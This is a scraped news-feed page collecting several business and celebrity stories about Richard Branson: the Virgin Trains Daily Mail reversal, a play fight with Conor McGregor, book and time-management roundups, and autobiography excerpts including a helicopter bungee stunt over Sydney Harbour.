The Daily Mail hit back, branding the move “disgraceful” and suggesting that its pro-Brexit stance was an underlying reason for the decision, given that Branson has been a vocal Remain campaigner.

Writing on the Virgin website on Monday, the tycoon rejected claims that the decision had been “part of some grand campaign or at my behest,” adding that he and his partner Brian Souter were unaware of the move until it was reported in the media.

“The decision was made in response to feedback from some of our Virgin Trains employees. Brian and I respect our people when they make decisions and we listen to their views,” Branson wrote.

“But we must also listen to the concerns voiced widely this week – by those who agree with the Mail’s editorial stance and those who vehemently disagree with it – that this move has been seen as censorship.

“Freedom of speech, freedom of choice and tolerance for differing views are the core principles of any free and open society. While Virgin Trains has always said that their passengers are free to read whatever newspaper they choose on board West Coast trains, it is clear that on this occasion the decision to no longer sell the Mail has not been seen to live up to these principles.”

People have now taken to social media to accuse Branson of bowing to commercial pressure. 

The decision to halt sales of the Daily Mail was made in November, but it emerged only last week when a leaked internal memo made it into a monthly journal of train drivers union, Aslef.

In the memo, Drew McMillan, head of colleague communication and engagement, said: “Thousands of people choose to read the Daily Mail every day. But they will no longer be reading it courtesy of VT.

“There’s been considerable concern raised by colleagues about the Mail’s editorial position on issues such as immigration, LGBT rights, and unemployment.

“We’ve decided that this paper is not compatible with the VT brand and our beliefs. We won’t be stocking the Daily Mail for sale or as a giveaway.”

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]]> https://briefnews.eu/richard-branson-orders-virgin-trains-to-restock-daily-mail-amid-censorship-accusation/feed/ 0 Conor McGregor faced off with Richard Branson in Ireland, stating: ‘He is no Sir on this soil’ https://briefnews.eu/conor-mcgregor-faced-off-with-richard-branson-in-ireland-stating-he-is-no-sir-on-this-soil/ https://briefnews.eu/conor-mcgregor-faced-off-with-richard-branson-in-ireland-stating-he-is-no-sir-on-this-soil/#respond Thu, 11 Jan 2018 10:56:43 +0000 http://briefnews.eu/conor-mcgregor-faced-off-with-richard-branson-in-ireland-stating-he-is-no-sir-on-this-soil/ McGregor flexingEthan Miller/Getty Images

  • UFC fighter Conor McGregor and Virgin CEO Richard Branson had a play fight in front of a live audience on Wednesday.
  • McGregor posted an image from the night on his Instagram account and told his followers that Branson is “no knighted Sir” in Ireland.

 

UFC lightweight champion Conor McGregor has given Virgin CEO Richard Branson a taste of what life is like one day before a big cage fight.

McGregor and Branson got up on stage, stripped off their shirts, and gave each other ice cold death stares as they faced off for the cameras at an event in Ireland on Wednesday.

As famous for his immortal insults as he is for his concussive punching power, McGregor even talked Branson down in the caption of the Instagram post below, writing: “He is not a knighted Sir on this soil.”

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McGregor and Branson came face-to-face because of an event at the Pendulum Summit in Dublin’s Convention Centre.

McGregor was on stage to collect a lifetime achievement award due to his championship runs in cage fighting firms Cage Warriors and UFC.

Branson, presenting the award, couldn’t resist the opportunity to mess around with McGregor.

You can watch the unlikely pair play fight in the clip below.

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Branson also uploaded a photo from the evening onto his Instagram account, along with the caption: “I was up for the craic when I was surprised on stage by a visit from [Conor McGregor].”

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NOW WATCH: REGGIE BUSH: Here’s why the NCAA should pay college football players

]]> https://briefnews.eu/conor-mcgregor-faced-off-with-richard-branson-in-ireland-stating-he-is-no-sir-on-this-soil/feed/ 0 13 books Bill Gates, Richard Branson, and other moguls think everyone should read https://briefnews.eu/13-books-bill-gates-richard-branson-and-other-moguls-think-everyone-should-read/ https://briefnews.eu/13-books-bill-gates-richard-branson-and-other-moguls-think-everyone-should-read/#respond Mon, 25 Dec 2017 04:10:19 +0000 http://briefnews.eu/13-books-bill-gates-richard-branson-and-other-moguls-think-everyone-should-read/ bill gatesRamin Talaie/Getty Images

Many of the brightest minds in technology, entertainment, business, and philanthropy have said they owe their success to reading.

Microsoft cofounder Bill Gates reportedly reads 50 books a year. Oprah Winfrey has called reading “her personal path to freedom.”

Gates and Winfrey, along with a number of other successful people, have made book recommendations over the years. For last-minute Christmas shoppers, here are some titles book-lovers are bound to love.

Bill Gates, philanthropist: ‘The Gene: An Intimate History’ by Siddhartha Mukherjee

Amazon

Genome science can hardly be considered a topic of mainstream interest, but Gates says Mukherjee captures its relevance to people’s daily lives. The book seeks to answer big questions concerning our personalities and what defines us.

“Mukherjee wrote this book for a lay audience, because he knows that the new genome technologies are at the cusp of affecting us all in profound ways,” Gates wrote.

Mukherjee is what Gates calls a “quadruple threat.” He’s a practicing physician, teacher, researcher, and author. 

Buy it on Amazon for $ 11.25

Bill Gates: ‘Seveneves’ by Neal Stephenson

Amazon

After a science-fiction dry spell of more than a decade, Gates picked up “Seveneves” on a friend’s recommendation in 2016, and he says he’s grateful for it.

“The plot gets going in the first sentence, when the moon blows up,” he wrote. 

But that’s only the beginning. The world soon learns the entire species is doomed: In two years, a cataclysmic meteor shower will destroy all life on the pale blue dot. It’s up to humanity to send as many spacecraft into orbit as possible with the hope of escaping the apocalypse.

“You might lose patience with all the information you’ll get about space flight,” Gates wrote, “but I loved the technical details.”

Buy it on Amazon for $ 11.33

Bill Gates: ‘Sapiens: A Brief History of Humankind’ by Yuval Noah Harari

Amazon

We weren’t always the only species of human being on Earth. Roughly 100,000 years ago, there were actually six varieties of people, but homo sapiens were the only ones who made it to today. 

“Both Melinda and I read this one,” Gates said, “and it has sparked lots of great conversations at our dinner table. Harari takes on a daunting challenge: to tell the entire history of the human race in just 400 pages.”

But Harari doesn’t dwell on the past. He looks toward a future in which genetic engineering and artificial intelligence make our definition of “human” even more fluid.

“I would recommend Sapiens to anyone who’s interested in the history and future of our species,” Gates said.

Buy it on Amazon for $ 21.00


See the rest of the story at Business Insider

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]]> https://briefnews.eu/13-books-bill-gates-richard-branson-and-other-moguls-think-everyone-should-read/feed/ 0 How execs like Elon Musk and Richard Branson get more done in 24 hours than the rest of us https://briefnews.eu/how-execs-like-elon-musk-and-richard-branson-get-more-done-in-24-hours-than-the-rest-of-us/ https://briefnews.eu/how-execs-like-elon-musk-and-richard-branson-get-more-done-in-24-hours-than-the-rest-of-us/#respond Wed, 22 Nov 2017 23:15:58 +0000 http://briefnews.eu/how-execs-like-elon-musk-and-richard-branson-get-more-done-in-24-hours-than-the-rest-of-us/ Elon MuskBen Macmahon/AP

  • The world’s top CEOs know that time management is a very crucial skill in business.
  • Elon Musk divides his day into five minute “chunks” to optimize his busy schedule.
  • Richard Branson has a rule that no meeting can go on for more than ten minutes.
  • They also believe that having less time to work actually forces them into periods of increased productivity.

 

Benjamin Franklin once said that time is like money. Without being managed properly, how do you know where it’s going?   

Time management is one of those issues that we all face at work, but (ironically) few of us have the time to address.

For the world’s top CEOs, however, time management simply can’t be an issue. Whether you’re running multiple companies, raising money for your startup, or managing a high-performing team, how you spend your time means life or death for your company.

So, if you think you’re underperforming or simply want to learn from the best, here’s how some of the busiest people do more work than you every single day:

Elon Musk breaks his day up into 5-minute ‘chunks’

Few people are as productive as Elon Musk. The SpaceX and Tesla founder reportedly puts in 85-100 hours a week, yet still manages to spend 80% of his time on engineering and design.

While that might seem unbelievable (and more than a little excessive), Musk has a simple time-management hack that lets him get more done each day. Each workday is split up into 5-minute ‘chunks’—even lunch—meaning more tasks are scheduled and gotten to in a single day.

According to Peter Bregman, author of “Four Seconds: All the Time You Need to Replace Counter-Productive Habits with Ones that Really Work,” this works because we’re more productive when we work from a strict calendar, rather than a to-do list. Instead, breaking up your day into chunks lets you prioritize and be realistic about what can actually fit in a day.

Richard Branson keeps meetings to 10 minutes or less

In a blog post, the Virgin Group founder and CEO expressed his hatred for time wasting meetings:

“A lot of time is wasted in meetings. Agendas get forgotten, topics go amiss, and people get distracted. While some circumstances call for workshops and more elaborate presentations, it’s very rare that a meeting on a single topic should need to last more than 5-10 minutes.”

To make sure meetings stay short, Branson insists they’re done standing up, which gives a physical reminder that time is short. For investor Mark Cuban, he takes it a step further and says that he never takes a meeting unless someone is writing a check.

richard bransonPaul Kane/Getty

Dan Mall does his most important work first thing in the morning

In a Reddit AMA, behavioral psychologist Dan Ariely explained how the biggest time management mistake most people make is to “spend the two most productive hours of their day on things that don’t require high cognitive capacity (like social media). If we could salvage those precious hours, most of us would be much more successful in accomplishing what we truly want.”

For SuperBooked CEO Dan Mall, the answer is to block out two hours at the start of every day for his most meaningful work. That means no email, no meetings, and no calls until a big chunk of meaningful work has been done. 

Andy Groves set a hard deadline for the end of his workday

The former Intel CEO made sure he always left the office by 6:30 p.m. at the latest so he could be home for dinner with his family. As he explains it in his book, “High Output Management.”

“My day ends when I’m tired and ready to go home… There is always more to be done, more that should be done, always more than can be done.”

Not only does Grove make a good point about understanding the limitations of our productivity, but by limiting his hours at work he’s forcing himself to get more done.

In their book “Scarcity: Why Having Too Little Means So Much,” Sendhil Mullainathan and Eldar Shafir found that having less time to work actually forces us into periods of heightened productivity.

NOW WATCH: A self-made millionaire describes the financial mistakes to avoid if you want to get rich by 30

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]]> https://briefnews.eu/how-execs-like-elon-musk-and-richard-branson-get-more-done-in-24-hours-than-the-rest-of-us/feed/ 0 Richard Branson explains what motivates him after 5 decades as an entrepreneur — and what he’d do if he had to start over https://briefnews.eu/richard-branson-explains-what-motivates-him-after-5-decades-as-an-entrepreneur-and-what-hed-do-if-he-had-to-start-over/ https://briefnews.eu/richard-branson-explains-what-motivates-him-after-5-decades-as-an-entrepreneur-and-what-hed-do-if-he-had-to-start-over/#respond Sat, 11 Nov 2017 22:39:32 +0000 http://briefnews.eu/richard-branson-explains-what-motivates-him-after-5-decades-as-an-entrepreneur-and-what-hed-do-if-he-had-to-start-over/ richard bransonFred Prouser

  • Richard Branson is motivated by the possibility of transforming lives.
  • He thinks that while a lot has changed a lot in fifty years, the key to creating a great business is finding a market that needs to be disrupted.

 

After five decades as an entrepreneur I’m often asked what motivates me and what I’d do if I had to start again. I shared some insights into how I use my experience and how I do business in my new autobiography Finding My Virginity. Here’s an extract: 

Two of my favourite things are taking calculated risks and helping to grow businesses. I’ve built my career on these pillars with Virgin, but I have always made targeted investments outside the Group, too. More recently, these have developed into a full-blown venture capital strategy.

Jonno Elliott and our investment team find innovative businesses at early stages and we take relatively small stakes to support their growth.

The portfolio of more than thirty-five companies is always growing in areas ranging from health to education, technology to financial services. I am as inquisitive as ever, and believe if you have resources you should use them well.

Our investment policy is to support businesses we feel can make a positive difference. It’s foolish to do something just for financial gain – that usually ends in failure. Every household name today, from Pinterest to Slack (a couple of my other investments), had to start somewhere.

The best, most purposeful start-ups are living, breathing examples to new generations that creativity, innovation and good honest hard work really can change the world for the better.

Whenever I speak to young people, or whenever I write on my blog, I’m determined to help turn more of those people looking for inspiration into the leaders who inspire the entrepreneurs of the future. My prominence online has other benefits, too, proving useful for discovering the most exciting start-ups for us to invest in.

young richard bransonCourtesy of Virgin.comThere is now a long line of ambitious entrepreneurs with bright ideas itching to share them with us. I am always more than happy to hear them out and do so on Necker, while travelling or online.

One question people ask me a lot is what I would do today if I lost all my money and had to start from scratch. My answer? To begin with, I’d have to make sure I went bust in the most spectacular, exciting failure in history. Then I’d autograph lots of £10 notes and sell them (hopefully for more!).

Next, I’d go through all my notebooks, find the best ideas that had fallen through the cracks and start them up. While business may have changed from when I started out, the principles are the same and still fit what I am good at: finding markets that need shaking up, coming up with ways to make people’s lives better, then finding brilliant people to bring it to life.

Once an entrepreneur, always an entrepreneur. I know I’d find a gap in the market somewhere.

How successful I’d be in that market is open to debate. My friend Elon Musk notoriously told Management Today in 2014 (though he’s since assured me he was misquoted!) that I lack practical technological skills: ‘I like Richard and I think he’s doing some cool things. But technology is not really his whack.’

To a degree, he was right. We have very different brains, which is part of the reason we get on so well. He has a lot more technical knowledge than me and is very detail-focused, while I think in broader strokes. We’d probably make a good team.

As I once joked while he was holidaying on Necker: ‘If you don’t have your own ventures one day, you’re welcome to come and run one of mine – just brush up on your people skills.’ 

necker islandFacebook, Necker IslandWhat I am good at is coming up with interesting ideas and then finding amazing people to turn them into reality. I see investing in start-ups in the same way. I’m not always caught up in the details of what a particular app will or won’t do; I’m more interested in the personalities behind the companies, and the purpose within their visions.

I’d happily invest in a company that ends up failing in order to find a young entrepreneur who will go on to change the world. Entrepreneurs are the job creators and innovators of the future; it’s up to those of us who have been fortunate enough to have some success to give them all the support we can.

It’s a privilege to see so many entrepreneurs taking their start-ups to the next level and transforming the way the world lives, thinks and does business.

When I meet entrepreneurs, especially in tech, I am often struck by how young they are. But then, when I started out, I was a teenager. The only other entrepreneur people had heard of (though nobody used the word ‘entrepreneur’) was Body Shop founder Anita Roddick.

There was British Airways, British Steel, British Telecom, British Coal, British Gas, British Rail – the government ran everything, and poorly. Entrepreneurship wasn’t something ‘proper’ people did. It was seen as a dirty business, as if the idea of creating and making money from it was beneath people.

Over the last fifty years, thankfully, that has changed and there are new, exciting breakthroughs all the time. Today I wore a pair of Snapchat Spectacles on the tennis court to film my game, then took an update call about M-Kopa, the East Africa solar energy provider we have invested in. Tomorrow there will be another breakthrough. Entrepreneurs are now everywhere, and society is benefiting.

There is a popular sentiment that if you haven’t made it in tech by the age of twenty-seven, it’s unlikely you’ll make it at all. The same used to be true in music, though, of course, many artists haven’t made it past the age of twenty-seven. It is wonderful that so many young people are succeeding in business and I hope they will have progressive attitudes and use their wealth and influence for good.

One has to hope they have the maturity to look after their companies and, most importantly, their people well. In my experience, some have that, some haven’t. Like lottery winners, entrepreneurs who make huge amounts of money overnight can be slightly confused about what to do with it.

I met the WhatsApp founder Jan Koum in San Francisco after Facebook bought his app for $ 19 billion. He was so rich so young and hadn’t given much thought about how it was going to change his life. But, thankfully, he did want to look after his team and use his money as a force for good – I’m sure he will.

After five decades, I have much experience in how to use my wealth, know what I want and have more understanding about what causes to focus on.

You can order Finding My Virginity now. I hope you feel inspired to use your business for good and I’d love to hear how you’re striving to have a positive impact on the world. 

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]]> https://briefnews.eu/richard-branson-explains-what-motivates-him-after-5-decades-as-an-entrepreneur-and-what-hed-do-if-he-had-to-start-over/feed/ 0 Richard Branson remembers the time he let a helicopter drag him across Sydney Harbor by bungee cord for a publicity stunt — and nearly ran face-first into a bridge https://briefnews.eu/richard-branson-remembers-the-time-he-let-a-helicopter-drag-him-across-sydney-harbor-by-bungee-cord-for-a-publicity-stunt-and-nearly-ran-face-first-into-a-bridge/ https://briefnews.eu/richard-branson-remembers-the-time-he-let-a-helicopter-drag-him-across-sydney-harbor-by-bungee-cord-for-a-publicity-stunt-and-nearly-ran-face-first-into-a-bridge/#respond Fri, 03 Nov 2017 04:46:27 +0000 http://briefnews.eu/richard-branson-remembers-the-time-he-let-a-helicopter-drag-him-across-sydney-harbor-by-bungee-cord-for-a-publicity-stunt-and-nearly-ran-face-first-into-a-bridge/ richard bransonTony Woolliscroft/Getty

  • In the following excerpt from “Finding My Virginity,” Richard Branson recounts his experience during one of Virgin Mobile’s publicity stunts.
  • In 2000, he was tied to a helicopter by bungee cord and flew 100 feet below it across the Sydney Harbor.
  • Mid-flight, he realized he was headed straight toward the side of the bridge.
  • Just when he thought he would smack into it and die, the helicopter lifted him up at the last second.


Sometimes the publicity stunts we pull can take even me by surprise. That was the case with the launch of Virgin Mobile in Australia.

By November 2000, Virgin Mobile UK had more than 500,000 customers and scooped Mobile Choice’s Network of the Year award (not bad, since we didn’t actually have a network!). As the Aussie public had embraced our airline so quickly, it made sense to strike while the iron was hot and launch a second mobile company down under.

As in Britain, we found an established company, Optus, and agreed on a partnership using their network infrastructure and Virgin’s branding and customer experience. And, as with the launch of Virgin Mobile in the UK, we wanted an event to get people talking.

The first inkling I got that something unusual was going on was when I was picked up from my hotel, the Holiday Inn in Potts Point, Sydney. I got into a car with chief marketing officer Jean Oelwang, Peter Beikmanis and Catherine Salway for a briefing. I presumed we would be driving to the harbor, but instead we started heading out of the city and into the countryside.

“I thought we were going to do the launch next to Sydney Harbor,” I said.

“Erm, yes, we are,” said Jean, a little too nervously.

As the others in the car exchanged sideways looks, I could tell something was up. The next thing I knew we had arrived in an empty field. It seemed an unusual and unpopulated venue for a business launch. Then I heard the whupp-whupp-whupp of helicopter blades. That made more sense. I stood back in the full force of the wind as the helicopter landed next to the car.

“I think I get the picture.” I was about to climb into the helicopter when Jean pulled me to one side.

“Richard, we probably should have told you this earlier.”

Jean stood back as one of the helicopter crew put a harness on me. “You’re not actually going in the helicopter. You’re going to fly a hundred feet under it.”

That was a new one! I could feel my heart beginning to thump, but nothing ventured and all that. The helicopter crew told me to lie flat on the ground. As I lay down in the soft warmth of the grass, I could feel a bungee rope being attached to my waist.

FINDING MY VIRGINITY richard bransonCourtesy of Richard Branson/Penguin Random House

“Keep still,” I was told. “Keep your head down.” As I lay there I could hear the blades whirr into action. I was just wondering what Joan would make of my current predicament when, with a jerk, I was lifted off the ground.

As I went up I spun around and around uncontrollably fast. I tried to get myself into a skydiving position—arms and legs spread-eagled. My face had a fixed expression somewhere between bemusement and, I suspect, terror. Probably closer to terror, thinking about it.

Finally, I got the hang of it, and now we were really moving. I was flying forward through the air, 100 feet below the helicopter at a rapid rate.

Over the years, I have often had dreams where I am flapping my arms and flying. Sometimes I soar around Necker, smelling the ocean air.

Other times I fly up into space, looking down at the pale blue dot of Earth.

Usually, however, I am looking down along Oxford Street, where our first Virgin Records store was, knowing that if I stopped I would crash. I swoop down, knock somebody’s hat off and zoom back upward. Occasionally I wake up falling.

This was as close as I’d get to my dreams in reality. I’ve never had a more exhilarating experience in my life. I worked out that if I dropped my arm on either side I could even control my direction—to a certain extent. As we approached the city I began to enjoy myself, waving to confused-looking people far below, and feeling more like Peter Pan than ever before. This is what being a bird must feel like, I thought to myself.

The next thing I knew, the imposing structure of Sydney Harbor Bridge was approaching fast in front of me. I tried dropping my arms as I’d just taught myself, but it wasn’t going to be enough. I tried shouting to the helicopter pilot to climb higher, but that was just as futile: there was no way he could hear me.

“Higher! Higher!” I shouted.

I’m going to hit the bridge. I was sure of it. What a way to go, I thought, zooming across the sky in a harness before, SPLAT! A face-first collision with one of Australia’s most iconic constructions, like Wile E. Coyote in a Loony Tunes cartoon.

At what felt like the last possible second, the helicopter veered upward and I narrowly avoided becoming a permanent addition to the side of the bridge. I barely had time to catch my breath as we zipped across it, low enough for me to see the astonished expressions of the bridge walkers looking up.

Finally, we landed on top of a giant cage structure next to Sydney Opera House. I was bursting with adrenaline, pumped up after everything I’d just been through. Inside the cage people were dressed in the colors of all of our rivals—there were lots in Australia’s highly competitive mobile market. They were wearing handcuffs to signify the long contracts they were locked into by the likes of Vodafone and Telstra, and singing, “Set us free! Set us free!” I set off some explosive bolts, the cage collapsed and the “customers” were freed.

“I thought I was a goner for a minute there,” I told Jean afterward.

“I’m very glad you weren’t,” she said reassuringly. “We hadn’t managed to get you insured!”

Excerpted from FINDING MY VIRGINITY: The New Autobiography by Richard Branson, now on sale from Portfolio, an imprint of Penguin Publishing Group, a division of Penguin Random House, LLC. Copyright © 2017 by Richard Branson.

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